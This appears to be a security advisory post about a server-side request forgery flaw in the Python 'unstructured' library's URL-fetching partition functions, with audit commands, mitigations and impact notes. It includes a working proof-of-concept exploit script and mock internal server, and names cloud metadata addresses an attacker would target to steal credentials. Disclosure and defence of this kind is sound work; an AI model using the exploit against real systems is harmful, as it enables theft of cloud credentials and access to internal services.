Listen to this Post
The vulnerability resides in the `unstructured` Python library, widely used as the URL ingestion layer for LangChain, LlamaIndex, Chainlit, and other agent frameworks. The three primary functions—partition(), partition_html(), and partition_md()—accept a `url=` argument that is passed directly to `requests.get()` without any host validation. This enables a full-read Server-Side Request Forgery (SSRF), meaning an attacker can make the library fetch arbitrary URLs and return the response body as element text.
The affected code paths are in `unstructured == 0.22.26` (verified on commit 199f255):
– `unstructured/partition/auto.py:303` in `file_and_type_from_url()` (called by partition(url=…)).
– `unstructured/partition/html/partition.py:160` in `partition_html(url=…)` – the Content-Type check is performed after the request completes.
– `unstructured/partition/md.py:96` in `partition_md(url=…)` – no timeout is set, making it also vulnerable to slow‑loris DoS.
None of the standard SSRF defences (e.g., is_private, is_loopback, `ipaddress` checks, gethostbyname, or `allow_redirects` handling) appear in any of these files. Three exploitation vectors exist:
1. Direct private‑IP targeting – the library does not block loopback (127.0.0.1) or RFC 1918 addresses.
2. Redirect bypass – `allow_redirects=True` by default, so an external URL can redirect to an internal one.
3. DNS rebinding – because the hostname is resolved only once (TOCTOU), an attacker can switch the IP after validation (if any were present) to an internal address.
The vulnerability has been present since version 0.4.7 (February 2023) – roughly 219 releases – with no validation ever introduced. This means any application using these functions to fetch user‑supplied URLs is at risk of exposing internal services, cloud metadata, and confidential data.
DailyCVE Form:
Platform: unstructured library
Version: 0.22.26 (since 0.4.7)
Vulnerability: Server-Side Request Forgery
Severity: Critical
Date: 2026-09-03
Prediction: Unknown
What Undercode Say:
Analytics – check for vulnerable code and missing safeguards:
Search for the vulnerable functions in the codebase grep -rn "partition(url=" . --include=".py" grep -rn "partition_html(url=" . --include=".py" grep -rn "partition_md(url=" . --include=".py" Verify absence of IP/host validation in the relevant files grep -E "is_private|is_loopback|ipaddress|gethostbyname|allow_redirects" \ unstructured/partition/auto.py \ unstructured/partition/html/partition.py \ unstructured/partition/md.py Check for timeout settings – none present in md.py grep "timeout" unstructured/partition/md.py
Exploit: (Educational Purposes!)
Local Proof‑of‑Concept using the public top‑level API:
exploit.py
Stub NLP helpers to skip spaCy downloads (doesn't affect SSRF)
import unstructured.nlp.tokenize as _tk
import unstructured.partition.text_type as _tt
_tk.sent_tokenize = _tt.sent_tokenize = lambda t: [s for s in (t or "").split(". ") if s]
_tk.word_tokenize = _tt.word_tokenize = lambda t: (t or "").split()
_tk.pos_tag = _tt.pos_tag = lambda t: [(w, "NN") for w in (t or "").split()]
from unstructured.partition.auto import partition
BASE = "http://127.0.0.1:9999"
Direct internal HTML read
assert "SK_LEAK_42" in "\n".join(str(e) for e in partition(url=f"{BASE}/internal.html", languages=["eng"]))
Redirect bypass to simulated IMDS
assert "SecretAccessKey" in "\n".join(str(e) for e in partition(url=f"{BASE}/redir", languages=["eng"]))
print("PoC OK")
Simulated internal server (run separately):
internal_server.py
from flask import Flask, Response, jsonify
app = Flask(<strong>name</strong>)
@app.route("/imds")
def imds():
return jsonify({"AccessKeyId": "ASIA-FAKE", "SecretAccessKey": "FAKE/SECRET"})
@app.route("/internal.html")
def html():
return Response("<html><body>
SK_LEAK_42
</body></html>", mimetype="text/html")
@app.route("/redir")
def redir():
return Response("", 302, headers={"Location": "http://127.0.0.1:9999/imds"})
if <strong>name</strong> == "<strong>main</strong>":
app.run(host="127.0.0.1", port=9999)
In production, an attacker would replace the target with 169.254.169.254, metadata.google.internal, or any internal address to read cloud credentials or internal services.
Protection: from this CVE
- Input validation – reject any URL that resolves to private, loopback, or link‑local IPs. Use `requests` with a custom adapter that checks the resolved IP before sending the request.
- Disable redirects – set `allow_redirects=False` when calling `requests.get()` in all three functions.
- Set a timeout – enforce a connection and read timeout to mitigate slow‑loris.
- Network controls – deploy a forward proxy that restricts outbound traffic to only allowed public IP ranges.
- Upgrade – watch for official patches; until then, fork the library and apply the above hardening.
Impact:
- Internal HTTP service read – attackers can reach loopback admin consoles, internal Elasticsearch/Redis/Consul/etcd HTTP endpoints, Kubernetes API servers, and microservice health checks.
- Cloud metadata exposure – GCP (
metadata.google.internal), Azure IMDS, Oracle Cloud, DigitalOcean, and EC2 instances using IMDSv1 (still widely deployed) leak credentials. Even with IMDSv2-only, the endpoint is reachable for reconnaissance. - Side‑effecting GET endpoints – magic‑link generators, job triggers, or link‑preview services inside the network can be invoked.
- Internal network reconnaissance – response times and error messages act as a port‑scanning oracle, mapping internal infrastructure.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

